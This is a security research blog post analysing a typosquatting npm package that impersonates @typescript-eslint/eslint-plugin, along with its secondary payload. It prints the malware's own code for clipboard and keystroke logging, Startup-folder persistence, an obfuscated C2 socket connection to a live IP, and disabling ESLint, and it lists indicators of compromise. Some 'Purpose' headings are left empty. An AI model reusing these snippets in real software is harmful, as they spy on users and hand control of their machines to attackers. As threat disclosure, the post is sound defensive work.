Security News
Research
Data Theft Repackaged: A Case Study in Malicious Wrapper Packages on npm
The Socket Research Team breaks down a malicious wrapper package that uses obfuscation to harvest credentials and exfiltrate sensitive data.
Research
Security News
Socket Research Team
December 11, 2024
Weaponizing trust in the open source ecosystem is the bread and butter of threat actors who leverage typosquatting to infiltrate development environments and gain unauthorized access. In this research post we're breaking down a malicious npm package targeting developers attempting to install the popular @typescript-eslint/eslint-plugin
package, an ESLint plugin specifically for TypeScript code.
The malicious package, @typescript_eslinter/eslint
, differs from the legitimate package name by just a few subtle changes. Developers may accidentally install the plugin thinking they were getting type-aware linting and code style enforcement but instead have their systems compromised.
In this post we will dissect the malicious package's functionality and its connection to a live secondary payload:
@typescript_eslinter/prettier
, which remains live on npm, underscores the persistent nature of this threat. @typescript-eslint/eslint-plugin
#The legitimate @typescript-eslint/eslint-plugin
is a cornerstone of TypeScript development. It integrates seamlessly with ESLint, enabling developers to enforce coding standards and prevent bugs in TypeScript projects. Its popularity is immense:
Such widespread usage made it an ideal target for typosquatting, a technique where attackers create malicious packages with names similar to legitimate ones to deceive developers.
@typescript_eslinter/eslint
#On November 17th, a malicious package named @typescript_eslinter/eslint
was published on npm. This package mimicked the legitimate @typescript-eslint/eslint-plugin
, targeting developers who might mistype or misread the package name. It released 43 versions within two weeks—a tactic likely aimed at evading detection by automated tools. The package was eventually removed on December 1, but not before it executed a sophisticated attack chain.
@typescript_eslinter/prettier
#In addition to @typescript_eslinter/eslint
, the attackers also published another malicious package, @typescript_eslinter/prettier
, which acts as a secondary payload. This package remains live on npm and is designed to spread and enhance the malicious functionality of the primary package.
The malicious package uses the clipboard-event
package to monitor clipboard activity and logs any changes:
const minimizerListener = require("clipboard-event");
minimizerListener.startListening();
minimizerListener.on("change", async () => {
const change = await getMinimizer();
pendingData.minimizer += "," + change;
});
It also employs the node-global-key-listener
package to monitor global keyboard inputs:
const { GlobalKeyboardListener } = require("node-global-key-listener");
const v = new GlobalKeyboardListener();
v.addListener(function (e, down) {
if (e.state === "DOWN" && !e?.name?.includes("MOUSE")) {
pendingData.fuzzer += "," + e.name;
}
});
Purpose:
The script ensures its persistent execution by copying a .bat
file (prettier.bat
) to the Windows Startup folder:
const prettierExtracter = () => {
try {
const sourceFile = path.join(__dirname, "tools", "prettier.bat");
const appDataPath = path.join(os.homedir(), "AppData", "Roaming");
const startupPath = path.join(
appDataPath,
"Microsoft",
"Windows",
"Start Menu",
"Programs",
"Startup"
);
const destinationFile = path.join(startupPath, "prettier.bat");
fs.copyFileSync(sourceFile, destinationFile);
} catch (err) {}
};
Purpose:
Reversing strings and Base64 encoding is a common evasion technique used in malicious scripts to hide sensitive data like URLs or IPs. The string is first reversed, encoded in Base64, and then dynamically decoded at runtime. This obfuscation evades static analysis, hides malicious intent in the raw script, and ensures that critical data (e.g., command-and-control servers) remain concealed until execution, making detection more challenging for both automated tools and manual inspection.
const { io } = require("socket.io-client");
const SERVER_URL = decode("==QM1ATN6QTNy4iNyIjLxgTMuUzMx8yL6M3d");
const socket = io(SERVER_URL, {
reconnection: true,
reconnectionAttempts: Infinity,
reconnectionDelay: 1000,
reconnectionDelayMax: 5000,
timeout: 20000,
});
The package establishes a WebSocket connection with a remote server, ws://135.181.226.254:5051
, hosted in Finland by Hetzner Online GmbH.
Purpose:
The package disables legitimate tools like ESLint, ensuring no interference with its malicious operations:
function deleteEslinter() {
return new Promise((resolve, reject) => {
t("pm2 delete eslinter", (error, stdout, stderr) => {
error
? reject(`Error deleting Eslinter: ${stderr}`)
: resolve(stdout);
});
});
}
Purpose:
The impact of this attack is far-reaching and multifaceted. Developers unknowingly introduced malicious code into their workflows, putting sensitive project data and credentials at significant risk. Through a WebSocket connection, attackers gained the ability to dynamically issue commands, steal data, and execute additional payloads in real time.
The attack's potential reach was amplified by the widespread use of @typescript-eslint/eslint-plugin
, leaving countless systems vulnerable. Adding to the concern, the secondary malicious package, @typescript_eslinter/prettier
, remains live on npm, continuing to pose a persistent threat to developers and projects. The IP address 135.181.226.254 is associated with Hetzner Online GmbH, a German-based hosting service provider. This server is located in Finland, specifically in the Tuusula data center.
The malicious package @typescript_eslinter/eslint
is another example of attackers exploiting open source ecosystems, leveraging typosquatting and sophisticated payload chains. While the primary package has been removed from npm, its secondary payload @typescript_eslinter/prettier
remains live, posing a continued threat. This attack demonstrates the importance of having typosquatting detection in place, which is available in the free Socket for GitHub app and our Safe npm CLI tool. These tools block open source supply chain attacks and flag 60+ other indicators of supply chain risk and code quality issues.
Malicious npm Packages:
@typescript_eslinter/eslint (Removed from npm)
@typescript_eslinter/prettier (Still live on npm at time of analysis)
Command-and-Control (C2) Infrastructure:
IP Address: 135[.]181[.]226[.]254
WebSocket Server: ws://135[.]181[.]226[.]254:5051
Files and Artifacts:
prettier.bat file copied into the Windows Startup folder for persistence.
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Security News
Research
The Socket Research Team breaks down a malicious wrapper package that uses obfuscation to harvest credentials and exfiltrate sensitive data.
Security News
The Ultralytics' PyPI Package was compromised four times in one weekend through GitHub Actions cache poisoning and failure to rotate previously compromised API tokens.
Security News
Research
Socket researchers found a malicious Maven package impersonating the legitimate ‘XZ for Java’ library, introducing a backdoor for remote code execution.